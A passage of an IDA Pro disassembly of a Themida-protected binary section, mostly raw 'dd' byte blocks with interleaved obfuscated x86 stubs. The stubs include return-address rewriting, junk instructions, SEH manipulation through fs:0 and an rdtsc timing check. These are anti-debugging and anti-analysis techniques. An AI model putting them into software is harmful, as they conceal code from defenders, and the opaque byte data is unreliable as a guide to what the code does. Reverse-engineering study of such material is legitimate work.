		dd 6B61CC66h, 0FF23982h, 688h, 840F00h,	5F000000h, 800F1A89h
		dd 0Bh,	58D0Fh,	81660000h, 893216F6h, 0B5BE0442h, 8D7D3628h
		dd 1414B595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 97565687h, 1261552Eh, 0F98D89D2h
		dd 89061429h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0A19A0288h, 4428992h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2CC35646h, 381060C1h
		dd 3092F649h, 0E1D958Dh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 57E4A3C3h, 4F1812F7h
		dd 292B98CCh, 140C3585h, 661A8906h, 4289FA8Bh, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 541F0E92h, 0F9B70F7Bh, 11718D8Bh, 958D0614h,	61408D5h
		dd 54D8589h, 1A890614h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 5FC35040h, 63E46FE5h,	8DC58050h, 6A044289h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0A603C353h
		dd 0E1F68BBh, 958DBE82h, 6142A29h, 1A89F78Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ACC35747h, 7E856h
		dd 63420000h, 32B99316h, 5FCB8B2Eh, 442895Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6CC35242h, 0A5E94ABh
		dd 958DA47Ch, 61406C1h,	10E8h, 6834E200h, 0C829CEEEh, 857B9010h
		dd 0D72ADFDEh, 1A8959BBh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0EDC35040h, 8B2CF88Ah, 44289F3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9BC35343h, 3DDF672Bh
		dd 8BCFF00Eh, 142AF18Dh, 0B9958D06h, 8B06141Ah,	1411758Dh
		dd 798D8906h, 8906140Ah, 53006A1Ah, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 30BC6E84h, 0D8895B90h
		dd 0EE99156h, 0B4000000h, 0AC9ACFB8h, 9DB80286h, 39EC4A46h
		dd 44289B4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0FFC35747h, 0C43F2AF7h,	0BEF87AEFh, 13D8E05Dh
		dd 19F5958Dh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0BB0C03C3h, 8B6DC96Eh, 6A1A89CEh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 61EFC355h, 0D180B364h, 44289CCh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 79C35646h, 2FB6D54Ah
		dd 303E6E56h, 0D2E9F5C2h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6D59C353h
		dd 0C3C2D181h, 890F68B1h, 0Ch, 6820Fh, 85890000h, 614198Dh
		dd 8B51006Ah, 1412B1BDh, 6A5F06h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0B4C35646h,	82379D5Bh, 0F03D010Dh
		dd 0C840Fh, 850F0000h, 6, 89BD8Bh, 6A0614h, 61BD8Bh, 6A0614h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 7CC35242h
		dd 0C816B62Ah, 14E8h, 0BB0FE500h, 81227403h, 0A54F4796h
		dd 41C3D0F7h, 59BC8DBCh, 8B6660A8h, 61D98BDAh, 7595FF59h
		dd 0B061430h, 141C2DB5h, 8B66C306h, 6AC58AFEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8B87C356h, 140E898Dh, 91958906h, 8B061423h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0F9CCDEE0h, 0E9E03E1Eh, 0Bh,	8D48C532h, 0D0720270h
		dd 83A248F4h, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h
		dd 8B535019h, 438B8C0h,	85890000h, 61430C1h, 0B7A19D8Dh
		dd 0D3FF0616h, 0BD83585Bh, 6141AE1h, 50177400h,	438B853h
		dd 85890000h, 61430C1h,	0B4429D8Dh, 0D3FF0616h,	6A585Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8926CDC3h, 1430918Dh, 0C8F0F06h, 0F000000h, 68Bh, 0B1850100h
		dd 89061429h, 140C7585h, 8DC08B06h, 140F9985h, 2D958906h
		dd 0E806141Ah, 0Ah
dword_58C824	dd 4D47346Fh, 6772238Dh, 880F883Ch, 6, 21F99D8Bh, 505F0614h
					; DATA XREF: Themida_:0054AED0o
					; Themida_:0054BB24o
		dd 8B665250h, 0F310FDFh, 1986h,	13E800h, 9E2F0000h, 264AA02Ah
		dd 42B0BCEEh, 8CDCED19h, 76B29BECh, 585A5BC7h, 89240489h
		dd 1422F1BDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 2681C355h, 0FEB16ABh
		dd 33006AE1h, 14166DBDh, 27858D06h, 6A06183Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 80FDC355h, 0F8FC05A8h, 0FC3AD4DEh, 8905C083h, 142F45BDh
		dd 11E95006h, 0F9000000h, 0EE2D55Eh, 9141DE2Fh,	40424191h
		dd 73F78E9Ch, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 2105C350h, 0BF9B9739h
		dd 8C0F9B5Dh, 12h, 6E8h
		db 0
; ---------------------------------------------------------------------------


loc_58C915:				; DATA XREF: Themida_:0054A2D4o
		sub	ch, [ecx]
		or	al, 0F9h
		fsubp	st(3), st
		mov	edi, [ebp+61422D5h]
		pop	ebx
		pusha
		movsx	ebx, bx
		mov	ebx, 79ABF9ABh
		popa
		push	0
		push	0
		push	edi
		call	sub_58C939
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C939	proc near		; CODE XREF: Themida_:0058C931p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_58C939	endp

; ---------------------------------------------------------------------------
		shr	dword ptr [edx+0], cl
		sub	[ebp+61409D5h],	ecx
		call	dword ptr [ebp+6141A71h]
		push	0
		push	ebp
		call	sub_58C963
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C963	proc near		; CODE XREF: Themida_:0058C95Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_58C963	endp

; ---------------------------------------------------------------------------
		mov	bl, 0Ah
		mov	edi, 68C512B2h
		jns	short loc_58C9CD
		push	eax
		movsx	edi, di
		lea	ecx, [ebp+617A8FCh]
		mov	[ebp+61416F5h],	ebx
		xor	[ebp+6141C6Dh],	eax
		call	ecx
		push	ebx
		mov	edi, 4171E3h
		pop	ebx
		cmp	dword ptr [ebp+61412CDh], 1
		jnz	loc_58CA06
		push	0
		push	edi
		call	sub_58C9B3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C9B3	proc near		; CODE XREF: Themida_:0058C9ABp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_58C9B3	endp

; ---------------------------------------------------------------------------
		db 8Ch
		dd 0C887FA5Fh, 8B41550Eh
; ---------------------------------------------------------------------------
		popf


loc_58C9CD:				; CODE XREF: Themida_:0058C97Aj
		fld	qword ptr [edx]
		adc	al, 6
		push	2
		mov	ebx, 5131C9A7h
		nop
		mov	di, 3995h
		push	eax
		nop
		pusha
		mov	eax, edi
		jmp	loc_58C9F9
; ---------------------------------------------------------------------------
		db 0C6h
		dd 61DBE919h, 3617418h,	7F5CF89Ah, 0EA28D1BFh
		db 0B0h
; ---------------------------------------------------------------------------


loc_58C9F9:				; CODE XREF: Themida_:0058C9E2j
		popa
		call	dword ptr [ebp+6140939h]
		mov	[ebp+6142B69h],	eax


loc_58CA06:				; CODE XREF: Themida_:0058C9A2j
		jmp	loc_58D7C8
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 6183E31h
		mov	[ebp+6142B0Dh],	esi
		lea	eax, [ebp+6179623h]
		jmp	loc_58CA33
; ---------------------------------------------------------------------------
		dd 0D96E8B71h, 7176E494h
		db 6Bh,	0B2h, 26h
; ---------------------------------------------------------------------------


loc_58CA33:				; CODE XREF: Themida_:0058CA23j
		push	eax
		pusha
		mov	di, 0D9BFh
		jmp	loc_58CA4F
; ---------------------------------------------------------------------------
		dw 0DC1Bh
		dd 0BA7C4062h, 997DF1AEh, 9ABE0BE0h
; ---------------------------------------------------------------------------
		cmc
		jb	short loc_58CA88


loc_58CA4F:				; CODE XREF: Themida_:0058CA39j
		popa
		mov	[esp], eax
		push	0
		push	eax
		call	sub_58CA5E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58CA5E	proc near		; CODE XREF: Themida_:0058CA56p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_58CA5E	endp

; ---------------------------------------------------------------------------
		dw 0F77h
		dd 1A83h, 0EE800h, 22A90000h, 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch
; ---------------------------------------------------------------------------


loc_58CA88:				; CODE XREF: Themida_:0058CA4Dj
		mov	edi, [ebp+6140791h]
		pop	edi
		push	large dword ptr	fs:0
		push	0
		push	edx
		call	sub_58CAA1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58CAA1	proc near		; CODE XREF: Themida_:0058CA99p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_58CAA1	endp

; ---------------------------------------------------------------------------
		db 0A5h, 0E9h, 0DFh
		dd 6CAAAD4Fh, 0B3ACAECFh, 645B5703h, 2589h, 820F0000h
		dd 6, 77ADD781h, 85FF7D4Fh, 614236Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 83C35242h, 8B4A23A5h, 140ED1BDh
		dd 6AFF6A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 1EBBC357h, 0E29B3C48h,	91B5FF24h
		dd 0F061405h, 84h, 1995FF00h, 0E906142Bh, 0FEh,	1D89B531h
		dd 80510614h, 0B05F56CFh, 70E6F800h, 71E4DA8Bh,	0BD1BD33h
		dd 613C0614h, 0DC830Fh,	10BB0000h, 0F52D86Ch, 0B60FDBBFh
		dd 0B5BD8BC8h, 0BA061415h, 6, 0B18D89h,	0C18B0614h, 8B0Fh
		dd 0E8C10000h, 0C1BD8B04h, 6606142Eh, 0BD33E2F7h, 61424A1h
		dd 9D8BC82Bh, 6141BC1h,	9CDFEB81h, 0D18B30F1h, 4E9h, 94BF6600h
		dd 15858B3Ch, 8B061420h, 7C083DAh, 1AFDB589h, 95290614h
		dd 6142C51h, 3B00C083h,	11830FD0h, 0F000000h, 387h, 0DFBF0F00h
		dd 5DE9h, 0DBBF0F00h, 1AF98D8Bh, 0DF8B0614h, 0F01E183h
		dd 4984h, 7E800h, 0CC530000h, 4B967DDCh, 0A5835F4Dh, 6141AF9h
		dd 2820FFEh, 8B000000h,	159589D8h, 0E8061420h, 0Eh, 3660F7B5h
		dd 664B11BDh, 0F983054h, 85292734h, 614038Dh, 9D8B535Bh
		dd 6140CB5h, 0E95Fh, 0B58D0000h, 617C0E5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8AC35545h, 0BD8B701Fh
		dd 61424A5h, 95FF006Ah,	6141169h, 7E9h,	89E19800h, 0B471A916h
		dd 16A58531h, 97B90614h, 0E9000007h, 7,	0EFE4BBD2h, 8B609D1Ah
		dd 1434D19Dh, 0FCE18306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 8BC35747h, 710952Fh, 11CF7530h, 6CD78166h
		dd 6AFC59h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8B66CAC3h, 0B8F8h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 61C18FC3h
		dd 81660646h, 66B0E2DFh, 2B5088BFh, 8B6651D2h, 33AD5FF9h
		dd 3E8D1C2h, 4E983D0h, 8166F475h, 0D7297CBh, 88h, 8BFBB70Fh
		dd 14322995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 54BEECFh,	0AA202C3Dh, 0B1BD0301h
		dd 6606141Dh, 0BAE9F781h, 64D8D8Bh, 6A0614h, 3E853h, 5B200000h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 1Bh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 0B0h, 0A1h, 48h
		dd 4F38E649h, 0E185896Ch, 0E9061414h, 8, 0F0C5EAD7h, 157A4A7Ch
		dd 8B50FB8Bh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 35C35545h
		dd 59662652h, 0FA9BD89h, 1EB70614h, 29ADBD83h, 0F000614h
		dd 6584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 18C5823Fh, 0B858h, 0BB660000h, 8D8DB5D1h
		dd 6144D79h, 2CF9BD0Bh,	0BD8B0614h, 61422DDh, 6AE1FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 2358D5C3h, 0AD0A090Fh, 0BF669237h, 0BD8364D8h, 6142671h
		dd 8A840F00h, 52000004h, 835BFA8Bh, 142671BDh, 840F0106h
		dd 494h, 7E8h, 0E733E600h, 0AB373C84h, 0C483E781h, 835B6DC9h
		dd 142671BDh, 860F0306h, 43Eh, 21158D89h, 6A600614h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0DBCFC351h, 875E5B1Fh, 9531122Ch, 6140D01h, 0F9D98C66h
		dd 6A04E180h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0BF5C353h, 4AECCDFDh, 8D0F16CAh
		dd 3, 0AFA8B66h, 4E840FC9h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 99B9C350h
		dd 0D98B6664h, 1969858Bh, 0BD8B0614h, 6142511h,	1B818533h
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 518871C3h, 0BBD13EF1h, 5E0A21A9h,	0E8525090h
		dd 12h,	158E6A9Fh, 666312D8h, 1101993Ch, 0BEA64C27h, 61607A0Fh
		dd 5A310F5Bh, 0DA8B5058h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0CE2A4426h
		dd 7D5D012Dh, 6AF98AADh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0AEA3B3D4h, 0F3B14738h
		dd 2CD59D8Bh, 28680614h, 0BF66753Ch, 578EE141h,	0D7243481h
		dd 6A666A3Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 8B16C351h, 0C7F311B5h,	27C38EF0h
		dd 0CF59D89h, 0B70F0614h, 0AD95FFDBh, 0F061409h, 485h
		dd 11BB6600h, 98858981h, 6A0617AAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BD3C350h
		dd 1432259Dh, 1EBE906h,	0B70F0000h, 90858BFAh, 6A0617AAh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0C830C355h, 0C799DB41h, 1800h, 5E900h, 0D7C70000h
		dd 8BF2CA0Eh, 17AA94B5h, 12E806h, 7E550000h, 0D7550CC5h
		dd 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 0ADCBB66h,	29858B5Fh
		dd 6A06140Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 580EC357h, 0CD379E72h,	2E5BD8Bh
		dd 6890614h, 1969858Bh,	0FE90614h, 53000000h, 675D33C4h
		dd 0B8BC3651h, 3EB02807h, 0FC8A4002h, 6A044689h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0B267C353h, 8A0A836Ah, 5DC3BFD9h, 509665D4h,	0BF665250h
		dd 310F62BCh, 0FF15BF66h, 505B585Ah, 10E8h, 0CC41F300h
		dd 3E63AA4Ah, 0E4F2B9D3h, 6D5272C4h, 14E9B6h, 1D630000h
		dd 3DC193FEh, 24574B30h, 514CA8C1h, 4543F36Dh, 965BC4CDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DFC35646h
		dd 7236EFB0h, 9E83FFCh,	4000000h, 29FF579h, 4CF93A97h
		dd 9DC78166h, 0B5FF5BB2h, 617AA90h, 902818BFh, 62876813h
		dd 0BB6639FCh, 34811BFBh, 0E3617824h, 0D59D3339h, 8D061422h
		dd 17AA9885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 6069CE2Eh, 0E9158A68h, 0Fh, 521991Ch
		dd 0EABD592Bh, 9D0E8073h, 904AC6CCh, 0F1DFBF66h, 0D98B6050h
		dd 505B5660h, 90616159h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 96C35545h, 0DD41733h,	891DDE93h, 142EB985h
		dd 0AD95FF06h, 8B061409h, 140459BDh, 6A6106h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4CD976C3h
		dd 6860Fh, 0BD8B0000h, 61405C1h, 6800Fh, 0E7810000h, 730D4078h
		dd 267185C7h, 30614h, 7E90000h,	1B000000h, 3C5073BAh, 0FE98DC3h
		dd 0DA000000h, 190FB360h, 0D70B1730h, 89CFAB2h,	0BD838843h
		dd 617AA98h, 2F840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0ECDDC355h
		dd 2EAF277Ah, 959501F5h, 0E906140Ch, 1Dh, 3050F98Bh, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8E9F129h, 0AF000000h, 25B356AAh, 8B252BA1h, 141C39BDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 36668D8Eh, 8BAFD96Bh, 1430359Dh,	71BD8306h
		dd 3061426h, 411850Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 28D221C3h, 0AEE87B55h
		dd 0AE8AAB7h, 36000000h, 0DD99F068h, 3391D3D6h,	99C38018h
		dd 98BD835Bh, 617AAh, 3CD840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 118E2EC3h
		dd 0FFFB8B66h, 17AA98B5h, 0D9D8906h, 0FF06140Bh, 142AF595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8B8E99B3h, 1418EDBDh, 8CB58B06h,	0F0617AAh
		dd 686h, 398D8900h, 0BB06142Fh,	2F5BF1ADh, 106C7h, 0BD8B0001h
		dd 6141C31h, 0F88B5750h, 2434895Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 1EC35040h, 0BF0F661Bh, 98B5FFD9h
		dd 660617AAh, 0CABCD781h, 0B3195FFh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B4F0FC3h
		dd 17AA8CB5h, 0D5858B06h, 6A061421h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 48EC350h
		dd 1A63A6BBh, 11659D23h, 86890614h, 0C4h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 0DDC35343h, 300FEB8h
		dd 142A15BDh, 918D8906h, 8B06140Bh, 14322995h, 0F2CB8106h
		dd 8308C9F8h, 0BF6604C2h, 5089C5C3h, 0F98B6620h, 2EB59589h
		dd 858D0614h, 617BE06h,	0F5BF856h, 186h, 8689F900h, 0B8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AFC35646h
		dd 754363C5h, 3519D8Bh,	0C3810614h, 3FD0CDCDh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0EB4EC1C3h, 860FA7A7h, 6, 2CA19529h
		dd 0B5FF0614h, 617AA98h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 4CC35646h, 0D2368F93h, 134FA557h, 93995FFh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0EDE7F2C3h, 0B5D503EAh, 0AE8h, 644FA000h
		dd 0A3713E91h, 1F757E4h, 1413699Dh, 9D335F06h, 6141B99h
		dd 503CB396h, 8636BB66h, 0B1F38196h, 0FF5460ACh, 17AA98B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0BD2B1928h, 8918ACB4h, 142B2D85h, 0F595FF06h
		dd 0BF061420h, 0B623C70h, 0C21BD83h, 0F000614h,	6F84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0A6236194h, 12E9DBh, 7FF0000h, 9C8324C9h
		dd 52B9F323h, 0A5464EA2h, 0BC1B3CC8h, 0EE950h, 58EB0000h
		dd 0B5AFD4E9h, 0DDFD9B8Dh, 0BD9CA592h, 60243489h, 13E8h
		dd 6507EB00h, 526FC396h, 45D513C8h, 79FFEF2Fh, 755FCDEEh
		dd 16B58589h, 61590614h, 0AA98B5FFh, 0FFF90617h, 1402B195h
		dd 0FB8B6606h, 0AA98B5FFh, 35BB0617h, 6624B267h, 781FD781h
		dd 308195FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 19D6F3C3h, 31F9BD89h, 0BD830614h
		dd 61409F5h, 76840F02h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BCFC356h
		dd 142D0185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0B5F5EF05h, 0BB66FA8Bh, 0C6BE76h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 34004281h, 68E0F76h, 9000000h, 1409B98Dh
		dd 4D85C706h, 61424h, 0E9000000h, 0FFFFF369h, 30959D8Bh
		dd 0C18B0614h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	7FC35141h, 5DFFF349h, 0A936045Bh, 35958B60h, 61061403h
; ---------------------------------------------------------------------------


loc_58D7C8:				; CODE XREF: Themida_:loc_58CA06j
		lea	eax, [ebp+6140F99h]
		sub	di, 1176h
		nop
		push	eax
		push	edx
		mov	bh, 61h
		rdtsc
		jmp	loc_58D7EF
; ---------------------------------------------------------------------------
		db 62h
		dd 9F0BDF85h, 0B371CD8h, 7AD181B7h
		db 4Ah,	0E8h, 67h
; ---------------------------------------------------------------------------


loc_58D7EF:				; CODE XREF: Themida_:0058D7DAj
		pop	edx
		pop	eax
		push	eax
		mov	di, si
		nop
		mov	bx, 1B45h
		push	0
		mov	di, dx
		push	0
		push	0
		push	eax
		call	sub_58D80C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D80C	proc near		; CODE XREF: Themida_:0058D804p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_58D80C	endp

; ---------------------------------------------------------------------------
		dd 58EE4AF8h, 63A239D2h, 0E9BD23B6h, 8D061404h,	184DA885h
		dd 58E0F06h, 66000000h,	0FE64CF81h, 8005C083h, 9D0BEEC7h
		dd 61409D5h, 0FFBB5090h, 5B5BA917h, 12E950h, 5B820000h
		dd 9C066C93h, 0B7AF6654h, 0BB61BC75h, 4B8A1EADh, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0F26B31EEh, 14E9964Eh, 0B8000000h, 0DF0FC9F0h, 8017BF15h
		dd 42AD17C2h, 9F2272F4h, 6A9378A9h, 618D2900h, 6A06140Eh
		dd 0BD335100h, 61425CDh, 7195FF5Bh, 3106141Ah, 141A21BDh
		dd 0FC8D8D06h, 6A0617A8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 6F4C350h, 437F9054h
		dd 33D1FFF1h, 1430599Dh, 0CDBD8306h, 1061412h, 89850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 8D241C3h,	14800F29h, 0E9000000h, 0Fh, 34D84799h
		dd 0FCF17F8Eh, 0D1FD47A4h, 13473DEh, 1415CDB5h,	57026A06h
		dd 559D03h, 505B0614h, 870Fh, 4890000h,	53006A24h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 4592BD11h, 65FE9726h, 8D89DCD7h, 6140AFDh, 78DB8166h
		dd 3995FF14h, 0E9061409h, 0E34h, 0E8h, 0ED815D00h, 6184DB2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 90C35545h
		dd 0B2E741DCh, 0BBE3D2EAh, 506D5892h, 30399D89h, 858D0614h
		dd 6179623h, 218D0F50h,	50000000h, 16BB6652h, 0E9310F32h
		dd 12h,	753F2153h, 2C96E4B4h, 0D2EB9BB3h, 0F4B5A4BAh, 585A925Fh
		dd 89240489h, 140BD985h, 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58DA0F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DA0F	proc near		; CODE XREF: Themida_:0058DA07p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_58DA0F	endp

; ---------------------------------------------------------------------------
		aas
		retn	3F2Ch
; ---------------------------------------------------------------------------
		setalc
		lea	edi, [esi]
		jmp	loc_58DA33
; ---------------------------------------------------------------------------
		db 0D9h
		dd 2612AD67h
		db 0A6h, 0A0h, 0B6h
; ---------------------------------------------------------------------------


loc_58DA33:				; CODE XREF: Themida_:0058DA26j
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_58DA45
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DA45	proc near		; CODE XREF: Themida_:0058DA3Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_58DA45	endp

; ---------------------------------------------------------------------------
		db 0DFh, 0F9h, 3Fh
; ---------------------------------------------------------------------------
		pop	ebp
		sbb	edi, [edi+277AECDDh]
		jmp	loc_58DA6B
; ---------------------------------------------------------------------------
		dd 1AFE7278h
		db 86h,	0D0h, 38h
; ---------------------------------------------------------------------------


loc_58DA6B:				; CODE XREF: Themida_:0058DA5Fj
		inc	dword ptr [ebp+614236Dh]
		push	0
		push	edi
		call	sub_58DA7C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DA7C	proc near		; CODE XREF: Themida_:0058DA74p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58DA7C	endp

; ---------------------------------------------------------------------------
		sbb	[eax+0Fh], ch
		mov	bh, 0DFh


loc_58DA91:				; CODE XREF: Themida_:loc_58E760j
